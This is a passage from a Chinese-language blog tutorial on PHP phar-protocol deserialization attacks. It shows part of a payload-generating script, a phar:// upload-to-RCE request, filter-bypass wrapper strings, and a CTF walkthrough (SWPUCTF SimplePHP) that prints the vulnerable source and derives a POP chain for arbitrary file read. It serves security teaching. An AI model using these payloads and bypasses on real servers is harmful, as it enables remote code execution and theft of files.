$</span><span style="color: rgba(0, 0, 255, 1)">object</span> -&gt; output= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$phar </span>-&gt; setMetadata($<span style="color: rgba(0, 0, 255, 1)">object</span><span style="color: rgba(0, 0, 0, 1)">);
$phar </span>-&gt;<span style="color: rgba(0, 0, 0, 1)"> stopBuffering();
</span>?&gt;</span></pre>
</div>
<p>访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006155608135-720582111.png" alt="" width="597" height="239" loading="lazy"></p>
<p>访问file_upload.html将gif文件上传:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006160135228-453844583.png" alt="" width="360" height="107" loading="lazy"></p>
<p>利用file_un.php使用phar协议来反序列化rce:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">?filename=phar:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">upload_file/phar.gif</span></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006160333404-48844501.png" alt="" width="647" height="270" loading="lazy"></p>
<h2>漏洞利用条件</h2>
<p><span style="box-sizing: border-box; outline: 0; overflow-wrap: break-word">1. phar文件要能够上传到服务器端(如GET、POST)</span>,并且要有<span style="background-color: rgba(255, 255, 153, 1)">file_exists()</span>,<span style="background-color: rgba(255, 255, 153, 1)">fopen()</span>,<span style="background-color: rgba(255, 255, 153, 1)">file_get_contents()</span>,<span style="background-color: rgba(255, 255, 153, 1)">include()</span>等文件操作的函数</p>
<p><span style="box-sizing: border-box; outline: 0; overflow-wrap: break-word">2. 要有可用的魔术方法作为"跳板";</span></p>
<p><span style="box-sizing: border-box; outline: 0; overflow-wrap: break-word">3. 文件操作函数的参数可控,且<span style="background-color: rgba(255, 255, 153, 1)">:</span>,<span style="background-color: rgba(255, 255, 153, 1)">/</span>,<span style="background-color: rgba(255, 255, 153, 1)">phar</span>等特殊字符没有被过滤。</span></p>
<p>虽然某些函数能够支持<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>的协议,但是如果目标服务器没有关闭<span style="background-color: rgba(255, 255, 153, 1)">phar.readonly</span>时,就不能正常执行反序列化操作。</p>
<p><strong>在禁止phar开头的情况下的替代方法:</strong></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">compress.zlib:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar.phar/test.txt</span>
<span style="color: rgba(0, 0, 0, 1)">
compress.bzip2:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar.phar/test.txt </span>
<span style="color: rgba(0, 0, 0, 1)">
php:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/read=convert.base64-encode/resource=phar:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar.phar/test.txt</span></span></pre>
</div>
<p>虽然会报warning,但是还是会执行。</p>
<h2>CTF实战</h2>
<p>这里取SWPUCTF中的一道利用phar伪协议触发反序列化的例子,题目地址:https://buuoj.cn/challenges#SimplePHP</p>
<p>点击" <span style="background-color: rgba(255, 255, 153, 1)">查看文件</span> ",发现了标志性的文件包含语句<span style="background-color: rgba(255, 255, 153, 1)">" file.php?file= "</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006171109813-569206469.png" alt="" width="622" height="173" loading="lazy"></p>
<p>通过文件包含可以读取file.php,function.php,class.php,base.php文件的源码</p>
<p>file.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
header(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">content-type:text/html;charset=utf-8</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
include </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">function.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
include </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">class.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">open_basedir</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">/var/www/html/</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
$file </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>] ? $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">'</span>] : <span style="color: rgba(128, 0, 0, 1)">""</span><span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)">(empty($file)) {
    echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;h2&gt;There is no file to show!&lt;h2/&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
}
$show </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Show();
</span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)">(file_exists($file)) {
    $show</span>-&gt;source =<span style="color: rgba(0, 0, 0, 1)"> $file;
    $show</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">_show();
} </span><span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 0, 1)">empty($file)){
    die(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">file doesn\'t exists.</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span>?&gt;</span> </pre>
</div>
<p>function.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">show_source(__FILE__); </span>
include <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">base.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
header(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Content-type: text/html;charset=utf-8</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
error_reporting(</span><span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">);
function upload_file_do() {
    </span><span style="color: rgba(0, 0, 255, 1)">global</span><span style="color: rgba(0, 0, 0, 1)"> $_FILES;
    $filename </span>= md5($_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>].$_SERVER[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">REMOTE_ADDR</span><span style="color: rgba(128, 0, 0, 1)">"</span>]).<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">.jpg</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">mkdir("upload",0777); </span>
    <span style="color: rgba(0, 0, 255, 1)">if</span>(file_exists(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">upload/</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)"> . $filename)) {
      unlink($filename);
    }
    move_uploaded_file($_FILES[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">tmp_name</span><span style="color: rgba(128, 0, 0, 1)">"</span>],<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">upload/</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)"> . $filename);
    echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&lt;script type="text/javascript"&gt;alert("上传成功!");&lt;/script&gt;</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
}
function upload_file() {
    </span><span style="color: rgba(0, 0, 255, 1)">global</span><span style="color: rgba(0, 0, 0, 1)"> $_FILES;
    </span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)">(upload_file_check()) {
      upload_file_do();
    }
}
function upload_file_check() {
    </span><span style="color: rgba(0, 0, 255, 1)">global</span><span style="color: rgba(0, 0, 0, 1)"> $_FILES;
    $allowed_types </span>= array(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">gif</span><span style="color: rgba(128, 0, 0, 1)">"</span>,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">jpeg</span><span style="color: rgba(128, 0, 0, 1)">"</span>,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">jpg</span><span style="color: rgba(128, 0, 0, 1)">"</span>,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">png</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    $temp </span>= explode(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">.</span><span style="color: rgba(128, 0, 0, 1)">"</span>,$_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">]);
    $extension </span>=<span style="color: rgba(0, 0, 0, 1)"> end($temp);
    </span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)">(empty($extension)) {
      </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">echo "&lt;h4&gt;请选择上传的文件:" . "&lt;h4/&gt;"; </span>
<span style="color: rgba(0, 0, 0, 1)">    }
    </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
      </span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)">(in_array($extension,$allowed_types)) {
            </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(0, 0, 255, 1)">true</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
            echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&lt;script type="text/javascript"&gt;alert("Invalid file!");&lt;/script&gt;</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
            </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
}
</span>?&gt;</span> </pre>
</div>
<p>class.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> C1e4r
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $test;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct($name)
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str =<span style="color: rgba(0, 0, 0, 1)"> $name;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __destruct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;test = $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">str;
      echo $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">test;
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Show
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $source;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct($file)
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source = $file;   <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">$this-&gt;source = phar:</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar.jpg</span>
      echo $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">source;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString()
    {
      $content </span>= $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">str</span><span style="color: rgba(128, 0, 0, 1)">'</span>]-&gt;<span style="color: rgba(0, 0, 0, 1)">source;
      </span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> $content;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __set($key,$value)
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;$key =<span style="color: rgba(0, 0, 0, 1)"> $value;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function _show()
    {
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(preg_match(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">/http|https|file:|gopher|dict|\.\.|f1ag/i</span><span style="color: rgba(128, 0, 0, 1)">'</span>,$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">source)) {
            die(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">hacker!</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
      } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
            highlight_file($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">source);
      }
      
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __wakeup()
    {
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(preg_match(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/http|https|file:|gopher|dict|\.\./i</span><span style="color: rgba(128, 0, 0, 1)">"</span>, $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">source)) {
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hacker~</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Test
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $file;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $<span style="color: rgba(0, 0, 255, 1)">params</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 255, 1)">params</span> =<span style="color: rgba(0, 0, 0, 1)"> array();
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __get($key)
    {
      </span><span style="color: rgba(0, 0, 255, 1)">return</span> $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 255, 1)">get</span><span style="color: rgba(0, 0, 0, 1)">($key);
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> function <span style="color: rgba(0, 0, 255, 1)">get</span><span style="color: rgba(0, 0, 0, 1)">($key)
    {
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(isset($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 255, 1)">params</span><span style="color: rgba(0, 0, 0, 1)">[$key])) {
            $value </span>= $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 255, 1)">params</span><span style="color: rgba(0, 0, 0, 1)">[$key];
      } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
            $value </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">return</span> $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">file_get($value);
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function file_get($value)
    {
      $text </span>=<span style="color: rgba(0, 0, 0, 1)"> base64_encode(file_get_contents($value));
      </span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> $text;
    }
}
</span>?&gt;</span></pre>
</div>
<p>base.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    session_start();
</span>?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta charset=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">utf-8</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
    &lt;title&gt;web3&lt;/title&gt;
    &lt;link rel=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">stylesheet</span><span style="color: rgba(128, 0, 0, 1)">"</span> href=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
    &lt;script src=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;&lt;/script&gt;
    &lt;script src=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;nav <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">navbar navbar-default</span><span style="color: rgba(128, 0, 0, 1)">"</span> role=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">navigation</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
      &lt;div <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">container-fluid</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
      &lt;div <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">navbar-header</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
            &lt;a <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">navbar-brand</span><span style="color: rgba(128, 0, 0, 1)">"</span> href=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;首页&lt;/a&gt;
      &lt;/div&gt;
            &lt;ul <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">nav navbar-nav navbra-toggle</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
                &lt;li <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">active</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;&lt;a href=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file.php?file=</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;查看文件&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;&lt;a href=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">upload_file.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;上传文件&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
            &lt;ul <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">nav navbar-nav navbar-right</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
                &lt;li&gt;&lt;a href=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;&lt;span <span style="color: rgba(0, 0, 255, 1)">class</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">glyphicon glyphicon-user</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;&lt;/span&gt;&lt;?php echo $_SERVER[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">REMOTE_ADDR</span><span style="color: rgba(128, 0, 0, 1)">'</span>];?&gt;&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
      &lt;/div&gt;
    &lt;/nav&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;!--flag <span style="color: rgba(0, 0, 255, 1)">is</span> <span style="color: rgba(0, 0, 255, 1)">in</span> f1ag.php--&gt;</span></pre>
</div>
<p>通读以上代码,来这个提取有用的信息:</p>
<p><strong>1. base.php</strong>,用于前端展示的html代码。</p>
<p><strong>2. function.php</strong>,处理上传的文件,对文件的后缀做了白名单限制,只允许gif,jpeg,jpg,png这几种后缀。上传文件的命名方式为 <span style="background-color: rgba(255, 255, 153, 1)">md5(\$_FILES["file"]["name"].\$_SERVER["REMOTE_ADDR"]).".jpg"</span>;,并且保存在<span style="background-color: rgba(255, 255, 153, 1)">/upload</span>目录下。</p>
<p><strong>3. class.php</strong>,看到这个文件内容很明显使用反序列化来构造文件读取</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006173312385-357396704.png" alt="" width="477" height="496" loading="lazy"></p>
<p>结合上图中只对http,https,file:,gopher,dict协议的过滤,并且上面还提醒:<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;source = phar://phar.jpg</span>,很明显是使用phar伪协议触发反序列化。</p>
<p>通读代码,发现漏洞点在于可以通过调用<span style="background-color: rgba(255, 255, 153, 1)">Test</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">file_get_contents()</span>方法造成任意文件读取。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链:</p>
<p>1.&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">Test</span>类中<span style="background-color: rgba(255, 255, 153, 1)">file_get()</span>方法被同类下的<span style="background-color: rgba(255, 255, 153, 1)">get()</span>方法调用,并传入<span style="background-color: rgba(255, 255, 153, 1)">$value</span>参数。这里有一个if判断,判断<span style="background-color: rgba(255, 255, 153, 1)">\$this-&gt;params[\$key]</span>是否存在,如果存在,这个<span style="background-color: rgba(255, 255, 153, 1)">\$this-&gt;params[\$key]</span>就会被传递到<span style="background-color: rgba(255, 255, 153, 1)">file_get_contents()</span>方法进行读取。继续往上看,发现构造函数<span style="background-color: rgba(255, 255, 153, 1)">__contruct()</span>给参数<span style="background-color: rgba(255, 255, 153, 1)">$param</span>赋值了一个数组,魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>调用<span style="background-color: rgba(255, 255, 153, 1)">get()</span>方法,并传入参数<span style="background-color: rgba(255, 255, 153, 1)">$key</span>,而<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>方法在读取不可访问的属性的值时会被调用,寻找可以触发的地方。其实调用链为:</p>
<div class="cnblogs_code">
<pre>Test::file_get_contents() &lt;-- Test::<span style="color: rgba(0, 0, 255, 1)">get</span>()</pre>
</div>
<p>2. 在<span style="background-color: rgba(255, 255, 153, 1)">Show</span>类的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>看到存在<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;str['str']-&gt;source</span>,如果$this-&gt;str['str']为Test类的一个实例,那么就会访问不存在的<span style="background-color: rgba(255, 255, 153, 1)">source</span>变量,这里就可以触发<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>方法</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">str</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = <span style="color: rgba(0, 0, 255, 1)">new</span> Test()</span></pre>
</div>
<p>3. 下一步就要寻找可以触发<span style="background-color: rgba(255, 255, 153, 1)">Show</span>类中<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法的地方,最后在<span style="background-color: rgba(255, 255, 153, 1)">C1e4r</span>类中析构函数<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>内发现了<span style="background-color: rgba(255, 255, 153, 1)">echo<span style="background-color: rgba(255, 255, 255, 1)">方法</span></span>,如果$this-&gt;test是Show类顶得一个实例化对象,当使用echo就会把这个对象当作字符串调用,就可以触发魔术方法__toString()</p>
<div class="cnblogs_code">
<pre>$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;test = <span style="color: rgba(0, 0, 255, 1)">new</span> Show()</pre>
</div>
<p>最后的调用链为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">file_get_contents() &lt;-- Test::<span style="color: rgba(0, 0, 255, 1)">get</span>() &lt;-- Test::__get() &lt;-- Show::toString() &lt;-- C1e4r::__destruct()</span></pre>
</div>
